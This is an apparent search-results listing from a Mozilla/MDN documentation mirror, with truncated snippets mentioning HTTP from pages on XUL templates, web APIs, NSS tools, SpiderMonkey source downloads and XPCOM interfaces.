here is an example using an rdf datasource: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/>...
...here are the results that would be generated by the first query above, before any bindings are applied: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, then, the builder adds the three results generated from the second query: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (...
...?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg) so four possible results are available, one from the first query and three from the second.
...And 2 more matches
Recursive Generation - Archive of obsolete content
here is the content that was generated after one iteration: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <hbox uri="?relateditem"> <button label="?start"/> <button label="?relateditem"/>...
... </hbox> </action> </template> <hbox id="http://www.xulplanet.com/rdf/b"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/b"/> </hbox> <hbox id="http://www.xulplanet.com/rdf/c"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/c"/> </hbox> <hbox id="http://www.xulplanet.com/rdf/d"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/d"/> </hbox> </vbox> for the next iteration, the insertion point will be the three <hbox> elements.
...to begin, b is evaluated and seeded with the right value: (?start = http://www.xulplanet.com/rdf/b) the <triple> statement is then examined, however, item b doesn't have a relateditem arc out of it, so the result is rejected.
...And 2 more matches
Special Condition Tests - Archive of obsolete content
for instance, we might use the following: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule parent="vbox"> <groupbox uri="rdf:*"> <caption label="rdf:http://purl.org/dc/elements/1.1/title"/> </groupbox> </rule> <rule> <label uri="rdf:*" value="rdf:http://www.xulplanet.com/rdf/address"/> </rule> </template> </vbox> on the first pass, the container where generated content would be ins...
...here is the same example using the extended template syntax: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule parent="vbox"> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <groupbox uri="?item"> <caption label="?title"/> </groupbox> </action...
...> </rule> <rule> <binding subject="?item" predicate="http://www.xulplanet.com/rdf/address" object="?address"/> <action> <label uri="?item" value="?address"/> </action> </rule> </template> </vbox> containment tests for rdf sources, the simple rule syntax supports two special conditional tests that are commonly used with multiple rules.
...And 2 more matches
Template Logging - Archive of obsolete content
each result is logged in a form much like the following: in template with id root using ref http://www.some-fictitious-zoo.com/birds new active result for query 2 matching rule 1: http://www.some-fictitious-zoo.com/birds/emperorpenguin in the example above, a new result has been added.
...the id of the result is specified at the end, in this case 'http://www.some-fictitious-zoo.com/b...emperorpenguin'.
...in template with id root using ref http://www.some-fictitious-zoo.com/birds removed inactive result for query 2 (active query is 1): http://www.some-fictitious-zoo.com/birds/barnowl in this example, a result with the id 'http://www.some-fictitious-zoo.com/birds/barnowl' has been removed.
...And 2 more matches
Introduction to RDF - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> ...
...for example, a selection of the fields in the mozilla bookmark list is described by the uris below: name http://home.netscape.com/nc-rdf#name bookmark name url http://home.netscape.com/nc-rdf#url url to link to description http://home.netscape.com/nc-rdf#description bookmark description last visited http://home.netscape.com/web-rdf#lastvisitdate date of last visit these are generated by taking a namespace n...
...<rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:animals="http://www.some-fictitious-zoo.com/rdf#"> <rdf:seq about="http://www.some-fictitious-zoo.com/all-animals"> <rdf:li> <rdf:description about="http://www.some-fictitious-zoo.com/mammals/lion"> <animals:name>lion</animals:name> <animals:species>panthera leo</animals:species> <animals:class>mammal</animals:class> </rdf:description> ...
...And 2 more matches
Reference - Archive of obsolete content
btw, https://bugzilla.mozilla.org/attachment.cgi?id=195375 is a screenshot of a table of differences.
...brendan just mentioned one obscure one here: https://bugzilla.mozilla.org/show_bu...?id=310993#c20 --maian 22:46, 5 october 2005 (pdt) section title capitalization there's an inconsistency in the capitalization of section titles.
...--nickolay 05:37, 31 aug 2005 (pdt) gonna follow mozilla's coding guides here: http://www.mozilla.org/hacking/mozil...de.html#visual --maian 00:30, 20 september 2005 (pdt) btoa() and atob() base64 encode and decode functions this documentation is missing the base64 encode (btoa) and decode (atob) functions.
...And 2 more matches
Writing JavaScript for XHTML - Archive of obsolete content
for example: var string = '<div xmlns="http://www.w3.org/999/xhtml"><h1>hello world!</h1></div>'; var parser = new domparser(); var documentfragment = parser.parsefromstring(string, "text/xml"); body.appendchild(documentfragment); // assuming 'body' is the body element but be aware that if your string is not well-formed xml (e.g., you have an & where it should not be), then this method will crash, leaving you with a parser error.
...we can do this on server side by evaluating the http request header.
... every browser sends with its request a list of mime types it understands, as part of the http content negotiation mechanism.
...And 2 more matches
XForms Custom Controls - Archive of obsolete content
the moztype namespace is introduced by mozilla xforms implementation and its uri is http://www.mozilla.org/projects/xforms/2005/type.
... for example, if a control is bound to a node of type xsd:integer then the typelist attribute will be "http://www.w3.org/2001/xmlschema#integer http://www.w3.org/2001/xmlschema#decimal".
...so if you want an input bound to an instance node of type integer (and all types derived from integer), you would use: @namespace xf url(http://www.w3.org/2002/xforms); @namespace moztype url(http://www.mozilla.org/projects/xforms/2005/type); xf|input[moztype|typelist~="http://www.w3.org/2001/xmlschema#integer"] { -moz-binding: url('chrome://xforms/content/input-xhtml.xml#xformswidget-input-integer'); } advanced xforms controls there may be times where you need a control that is very specific to your task, but you also want it to w...
...And 2 more matches
Windows Media in Netscape - Archive of obsolete content
if (window.activexobject) { player = new activexobject("mediaplayer.mediaplayer.1"); } else if (window.geckoactivexobject) { player = new geckoactivexobject("mediaplayer.mediaplayer.1"); } else { // plugin code using navigator.mimetypes player = navigator.mimetypes["application/x-mplayer2"].enabledplugin; } } catch(e) { // handle error -- no wmp control // download: http://www.microsoft.com/windows/windowsmedia/download/default.asp } if (player) { // windows media player control exists } currently, dynamically writing out markup using document.write after using detection mechanisms won't work owing to a bug in netscape 7.1.
...layerex2" classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6" height="200" width="200"> <param name="uimode" value="full" /> <param name="autostart" value="true" /> <param name="url" value="preludesteel.wma" /> </object> <script type="text/javascript"> if(!document.playerex2.versioninfo) { // control not installed -- the versioninfo property returns null // redirect users to http://www.microsoft.com/windows/windowsmedia/download/default.asp } else { //control was correctly created //proceed with scripting calls, etc.
...in particular, the xmlhttp object is a popular one for establishing dynamic channel communication.
...And 2 more matches
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
client hints are a set of http request header fields for proactive content negotiation allowing clients to indicate a list of device and agent specific preferences.
...servers announce support for client hints using the accept-ch (accept client hints) header or an equivalent html meta element with the http-equiv attribute.
... accept-ch: dpr, width, viewport-width, downlink and / or <meta http-equiv="accept-ch" content="dpr, width, viewport-width, downlink"> when a client receives the accept-ch header, if supported, it appends client hint headers that match the advertised field-values.
...And 2 more matches
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
a cacheable response is an http response that can be cached, that is stored to be retrieved and used later, saving a new request to the server.
... not all http responses can be cached, these are the following constraints for an http response to be cached: the method used in the request is itself cacheable, that is either a get or a head method.
...(for example, firefox does not support it per https://bugzilla.mozilla.org/show_bug.cgi?id=109553.) other methods, like put or delete are not cacheable and their result cannot be cached.
...And 2 more matches
WAI-ARIA basics - Learn web development
via xmlhttprequest, or dom apis.
...content that updates without the entire page reloading via a mechanism like xmlhttprequest, fetch, or dom apis.
...in this example we have a simple random quote box: <section> <h1>random quote</h1> <blockquote> <p></p> </blockquote> </section> our javascript loads a json file via xmlhttprequest containing a series of random quotes and their authors.
...And 2 more matches
Positioning - Learn web development
overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: relative; background: yellow; top: 30px; left: 30px; } cool, huh?
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: absolute; background: yellow; top: 30px; left: 30px; } first of all, note that the gap where the positioned element sho...
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; position: relative; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: absolute; background: yellow; top: 30px; left: 30px; } the positioned element now sits relative t...
...And 2 more matches
How do you make sure your website works properly? - Learn web development
let's look at our personal website, http://demozilla.examplehostingprovider.net/.
... http statuses servers respond with a status message whenever they receive a request.
...let's look at the http statuses again: 200 for / and for unicorn_pic.png means that we succeeded in reloading the page and the image.
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
let promise2 = promise.then(response => { if (!response.ok) { throw new error(`http error!
...the above code could also be written like this (see also simple-fetch-chained.html on github): fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new error(`http error!
...we can write a function that does this; add the following inside your <script> element: function fetchanddecode(url, type) { return fetch(url).then(response => { if(!response.ok) { throw new error(`http error!
...And 2 more matches
Client-side storage - Learn web development
for more information on cookies see our using http cookies article.
...this api is designed for storing http responses to specific requests, and is very useful for doing things like storing website assets offline so the site can subsequently be used without a network connection.
... the cache api is a another client-side storage mechanism, with a bit of a difference — it is designed to save http responses, and so works very well with service workers.
...And 2 more matches
Introduction to web APIs - Learn web development
apis that make this possible include xmlhttprequest and the fetch api.
... to provide another example, instances of the xmlhttprequest object (each one represents an http request to the server to retrieve a new resource of some kind) has a number of events available on them, for example, the load event is fired when a response has been successfully returned containing the requested resource, and it is now available.
... the following code provides a simple example of how this would be used: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.responsetype = 'json'; request.send(); request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } note: you can see this code in action in our ajax.html example (see it live also).
...And 2 more matches
Working with JSON - Learn web development
at the moment it only contains two lines, which grab references to the <header> and <section> elements and store them in variables: const header = document.queryselector('header'); const section = document.queryselector('section'); we have made our json data available on our github, at https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json.
... we are going to load it into our page, and use some nifty dom manipulation to display it, like this: obtaining the json to obtain the json, we use an api called xmlhttprequest (often called xhr).
...add the following at the bottom of your javascript code: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a new request object instance from the xmlhttprequest constructor, using the new keyword.
...And 2 more matches
Starting our Svelte Todo list app - Learn web development
code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/02-starting-our-todo-app or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/02-starting-our-todo-app remember to run npm install && npm run dev to start your app in development mode.
... repl to code along with us using the repl, start at https://svelte.dev/repl/b7b831ea3a354d3789cefbc31e2ca495?version=3.23.2 todo list app features this is how our todo list app wil look like once it's ready: using this ui our user will be able to: browse their tasks.
... for example, if we add an <img> element to our todos.svelte component without its corresponding alt prop: <h1>svelte to-do list</h1> <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> the compiler will issue the following warning: (!) plugin svelte: a11y: <img> element should have an alt attribute src/components/todos.svelte 1: <h1>svelte to-do list</h1> 2: 3: <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> ^ created public/build/bundle.js in 220ms [2020-07-15 04:07:43] waiti...
...And 2 more matches
Application cache implementation overview
loading a top level document from offline cache this happens in nshttpchannel::opencacheentry().
...channels having that flag set are searching for nsiapplicationcache object prior inspecting normal http cache.
...if no nsiapplicationcache object has been found, there is no offline cache to load from and the load continues a usual way by loading from normal http cache, further steps are not executed.
...And 2 more matches
Creating MozSearch plugins
the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" templat...
...e="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> let's say the user chooses to use the yahoo!
...firefox will use the above search engine description to construct the following search url: http://search.yahoo.com/search?p=mozilla&ei=utf-8&fr=moz2 if the user clicks the magnifying glass icon in the search bar, or chooses the web search option in the tools menu when the search bar isn't visible, the browser will take them to http://search.yahoo.com/, the value of the <searchform> element.
...And 2 more matches
Obsolete Build Caveats and Tips
this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the command line when building on windows.
...to get this code, do the following: # pull the mozilla source to the folder 20src/ - may take a while # as hundreds of megabytes of history is downloaded to .hg hg clone https://hg.mozilla.org/releases/mozilla-2.0/ 20src cd 20src mozilla-1.9.2 (firefox 3.6) code for the firefox 3.6 (gecko 1.9.2) release lives in releases/mozilla-1.9.2.
... to get this code, do the following: # pull the mozilla source to the folder 192src/ - may take a while # as hundreds of megabytes of history is downloaded to .hg hg clone https://hg.mozilla.org/releases/mozilla-1.9.2/ 192src cd 192src mozilla-1.9.1 (firefox 3.5) code for the firefox 3.5 (gecko 1.9.1) release lives in releases/mozilla-1.9.1.
...And 2 more matches
Application Translation with Mercurial
mozilla-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/firefox/bundles/ the file is not small, but after initially downloading it, you only need to download the latest changes in the future.
...comm-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/thunderbird/bundles/ in the next step, we will unpack the source code: open an input shell, e.g.
... find the localization repository for your branch and language on http://hg.mozilla.org/ e.g.
...And 2 more matches
SVN for Localizers
installing svn client: linux users can download the svn client from http://subversion.apache.org/packages.html or install packages provided within their distribution (for example, in debian, sudo apt-get install subversion).
... mozilla's svn repositories mozilla's svn server is publicly available at https://svn.mozilla.org.
... enter the following command in your command-line tool: svn checkout https://svn.mozilla.org/projects/mozilla.com/trunk/locales/[your locale code] mozilla-l10n-[your-localecode] this command creates the mozilla-l10n-[your-localecode] directory on your computer and copies into it all of the files from https://svn.mozilla.org/projects/moz...om/trunk/locales/[your locale code].
...And 2 more matches
NSS FAQ
MozillaProjectsNSSFAQ
can i use nss even if my application protocol isn't http?
...it works with common internet standard application protocols (http, pop3, ftp, smtp, etc.) as well as custom application protocols using tcp/ip.
... binary builds of nss for several platforms including the command-line tools can be downloaded from http://ftp.mozilla.org/pub/mozilla.o...y/nss/releases/.
...And 2 more matches
NSS 3.14 release notes
for more information about mpl 2.0, please see http://www.mozilla.org/mpl/2.0/faq.html.
... nss 3.14 source tarballs can be downloaded from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_rtm/src/.
... support for tls 1.1 (rfc 4346) has been added (https://bugzilla.mozilla.org/show_bug.cgi?id=565047).
...And 2 more matches
NSS 3.15.4 release notes
nss 3.15.4 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_4_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.4.
... bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method.
... implemented ocsp server functionality for testing purposes (httpserv utility).
...And 2 more matches
NSS tools : pk12util
for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also certutil (1) modutil (1) the nss wiki has information on the new database design and how to configure applications to use it.
... o https://wiki.mozilla.org/nss_shared_db_howto o https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, sun, oracle, mozilla, and google.
...And 2 more matches
certutil
for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also pk12util (1) modutil (1) certutil has arguments or operations that use features defined in several ietf rfcs.
... o http://tools.ietf.org/html/rfc5280 o http://tools.ietf.org/html/rfc1113 o http://tools.ietf.org/html/rfc1485 the nss wiki has information on the new database design and how to configure applications to use it.
... o https://wiki.mozilla.org/nss_shared_db_howto o https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/.
...And 2 more matches
FOSS
e - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ - bindings to cross-embed spidermonkey and perl.
... python http://pypi.python.org/pypi/python-spidermonkey wxwidgets gluescript (formerly wxjavascript) code generators jsapigen - generates bindings for embedding spidermonkey in c applications extensions http://code.google.com/p/jslibs/ - zlib, sqlite, nspr, ode, libpng, libjpeg, libffi, (...) libraries for spidermonkey http://www.jsdb.org/ - a js shell with native objects for files, networks, databases, compression, email, etc.
... http://code.google.com/p/gpsee/ - commonjs platform, native-language module interoperability methods, modules, etc.
...And 2 more matches
Getting SpiderMonkey source code
downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code from the following urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell.
... getting the latest spidermonkey source code from mercurial the mercurial repository at https://hg.mozilla.org/mozilla-central/ hosts the latest spidermonkey sources.
... hg clone https://hg.mozilla.org/mozilla-central/ cd js/src to avoid getting the full change history, click the zip or gz links at https://hg.mozilla.org/index.cgi/mozilla-central/file/tip.
...And 2 more matches
Hacking Tips
on https://github.com/h4writer/tracelogger you can find the instructions to create the graph (tools v2 > 1.
...this is because firefox doesn't allow loading files from the harddisk using httprequest, even when the file loading the file is on the harddisk.
...the simplest way to do this is to run python -m simplehttpserver from within the above directory.
...And 2 more matches
Manipulating bookmarks using Places
var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("http://google.com/", null, null); var newbkmkid = bmsvc.insertbookmark(newfolderid, uri, bmsvc.default_index, ""); this example instantiates the nsiioservice and uses it to create an nsiuri referring to the google web site, then calls nsinavbookmarksservice.insertbookmark() to create a new bookmark to google, placing it at the end of the bookmarks folder referenced by newbkmkid.
... var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("http://google.com/", null, null); var bookmarksarray = bmsvc.getbookmarkidsforuri(uri, {}); after executing this code, the array bookmarksarray contains the ids of all bookmarks that refer to the specified uri (in this case, "http://google.com").
... var thisuri = bmsvc.getbookmarkuri(newbkmkid); assuming you've run all the code samples previous to this one, this will output "http://google.com".
...And 2 more matches
Using the Places livemark service
var newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the first parameter is the id of the folder in which to create the livemark.
...when creating livemarks during startup, you should use the nsilivemarkservice.createlivemarkfolderonly() to avoid http traffic.
... getservice(components.interfaces.nsinavbookmarksservice); var root = bmsvc.bookmarksmenufolder; // item id of the bookmarks menu var newlvmkid = livemarkservice.createlivemarkfolderonly(bmsvc, root, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the parameters here are the same as for nsilivemarkservice.createlivemark(), except for the insertion of a new parameter at the beginning, which is the nsinavbookmarksservice to use when creating the livemark.
...And 2 more matches
Finishing the Component
if uris of this kind are blocked, then gecko will not be able to start up, so we'll restrict the content policy to the http and ftp protocols.
...if the scheme isn't "http", "https", or "ftp", it immediately returns true, which continues the loading process unblocked.
... the string comparison with the url type "http", "https", and "ftp" looks like this: nsembedcstring scheme; contentlocation->getscheme(scheme); if (strcmp("http", scheme.get()) != 0 && strcmp("https", scheme.get()) != 0 && strcmp("ftp", scheme.get()) != 0) { // this isn't a type of uri that we deal with.
...And 2 more matches
nsIChannelEventSink
new requests for this resource should use the uri of the new channel (this might be an http 301 reponse).
...this may happen due to an http 3xx status code.
...it is important to understand that oldchannel will continue loading as if it received a response of http 200, which includes notifying observers and possibly display or process content attached to the http response.
...And 2 more matches
nsICookieManager2
to create an object implementing this interface: components.utils.import("resource://gre/modules/services.jsm"); var cookieservice = services.cookies; method overview void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry); boolean cookieexists(in nsicookie2 acookie); unsigned long countcookiesfromhost(in autf8string ahost); boolean findmatchingcookie(in nsicookie2 acookie, out unsigned long acountfromhost); obsolete since gecko 1.9 nsisimpleenumerator getcookiesfromhost(in autf8string ahost); void importcookies(in nsifi...
... void add( in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry ); parameters ahost the host or domain for which the cookie is set.
... aishttponly true if the cookie should only be sent to, and can only be modified by, an http connection.
...And 2 more matches
nsIExternalProtocolService
boolean externalprotocolhandlerexists( in string aprotocolscheme ); parameters aprotocolscheme the scheme from a url: http, ftp, mailto, and so on.
...-nickolay <pre> // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("tlcxp")) { // handler for http:// urls exists } else { // suppress external-load warning for standard browser schemes pref("network.protocol-handler.external.tlcxp", true); pre...
...nsihandlerinfo getprotocolhandlerinfo( in acstring aprotocolscheme ); parameters aprotocolscheme the scheme from a url: http, ftp, mailto, and so on.
...And 2 more matches
nsIWebBrowserPersist
areferrer the referrer uri to pass with an http request or nsnull.
... areferrerpolicy the referrer policy to use for the request, taken from nsihttpchannel.
... apostdata post data to pass with an http request or nsnull.
...And 2 more matches
nsIWebContentHandlerRegistrar
this string must also be of either the http or https schemes.
... cu.import('resource://gre/modules/services.jsm'); var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); var htmlcontentwindow = undefined; var registeruri = 'http://mail.live.com/secure/start?action=compose&to=%s'; var myurihostname = services.io.newuri(registeruri, null, null).host; // this section here is long and daunting, but its just finding a suitable contentwindow var domwindows = services.wm.getenumerator(null); while (domwindows.hasmoreelements()) { var adomwindow = domwindows.getnext(); if (adomwindow.gbrowser) { if (adomwindow.g...
... permission denied to add http://mail.live.com/secure/start?action=compose&to=%s as a content or protocol handler'permission denied to add http://mail.live.com/secure/start?action=compose&to=%s as a content or protocol handler' when calling method: [nsiwebcontenthandlerregistrar::registerprotocolhandler] if the host names do match then a confirmation like this will be seen: this domain check can be bypassed by setting the...
...And 2 more matches
Streams - Plugins
in general, this mode is more expensive, because the entire stream must be downloaded to a temporary file before use unless the stream comes from a local file or an http server that supports the byte-range extension to http.
...seekable streams support random access (for example, local files or http servers that support byte-range requests).
... as an example, suppose that a plug-in (and the http server) supports byte-range requests, and that the browser is in the process of pushing data to the plug-in.
...And 2 more matches
Beacon API - Web APIs
beacon requests use the http post method and requests typically do not require a response.
... requests are guaranteed to be initiated before a page is unloaded and they are run to completion, without requiring a blocking request (for example xmlhttprequest).
... user agents will typically ignore asynchronous xmlhttprequests made in an unload handler.
...And 2 more matches
Cache - Web APIs
WebAPICache
note: the caching api doesn't honor http caching headers.
...note that an http error response (e.g., 404) will not trigger an exception.
...http status code of 4xx or 5xx).
...And 2 more matches
Using images - Web APIs
> <canvas id="canvas" width="180" height="150"></canvas> </body> </html> function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); var img = new image(); img.onload = function() { ctx.drawimage(img, 0, 0); ctx.beginpath(); ctx.moveto(30, 96); ctx.lineto(70, 66); ctx.lineto(103, 76); ctx.lineto(170, 15); ctx.stroke(); }; img.src = 'https://mdn.mozillademos.org/files/5395/backdrop.png'; } the resulting graph looks like this: screenshotlive sample scaling the second variant of the drawimage() method adds two new parameters and lets us place scaled images on the canvas.
... <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> </html> function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); var img = new image(); img.onload = function() { for (var i = 0; i < 4; i++) { for (var j = 0; j < 3; j++) { ctx.drawimage(img, j * 50, i * 38, 50, 38); } } }; img.src = 'https://udn.realityripple.com/samples/db/f374e9c6fc.jpg'; } the resulting canvas looks like this: screenshotlive sample slicing the third and last variant of the drawimage() method has eight parameters in addition to the image source.
... <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/db/f374e9c6fc.jpg" width="300" height="227"> <img id="frame" src="https://udn.realityripple.com/samples/57/952c634159.png" width="132" height="150"> </div> </body> </html> function draw() { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); // draw slice ctx.drawimage(document.getelementbyid('source'), ...
...And 2 more matches
Fullscreen API - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
HTMLIFrameElement.referrerPolicy - Web APIs
the url is sent as a referrer when the protocol security level stays the same (httphttp, https→https), but isn't sent to a less secure destination (https→http).
... the document https://example.com/page.html will send the referrer https://example.com/.
... strict-origin only send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't send it to a less secure destination (https→http).
...And 2 more matches
History.replaceState() - Web APIs
examples suppose https://www.mozilla.org/foo.html executes the following javascript: const stateobj = { foo: 'bar' }; history.pushstate(stateobj, '', 'bar.html'); the explanation of these two lines above can be found in the example of pushstate() method section of the working with the history api article.
... then suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html'); this will cause the url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.
... suppose now that the user navigates to https://www.microsoft.com, then clicks the back button.
...And 2 more matches
ProgressEvent - Web APIs
the progressevent interface represents events measuring progress of an underlying process, like an http request (for an xmlhttprequest, or the loading of the underlying resource of an <img>, <audio>, <video>, <style> or <link>).
...when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the content itself, not headers and other overhead.
...And 2 more matches
Using the Resource Timing API - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource such as an xmlhttprequest, <svg>, image, script, etc.).
...the encodedbodysize property returns the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... decodedbodysize returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
...And 2 more matches
Resource Timing API - Web APIs
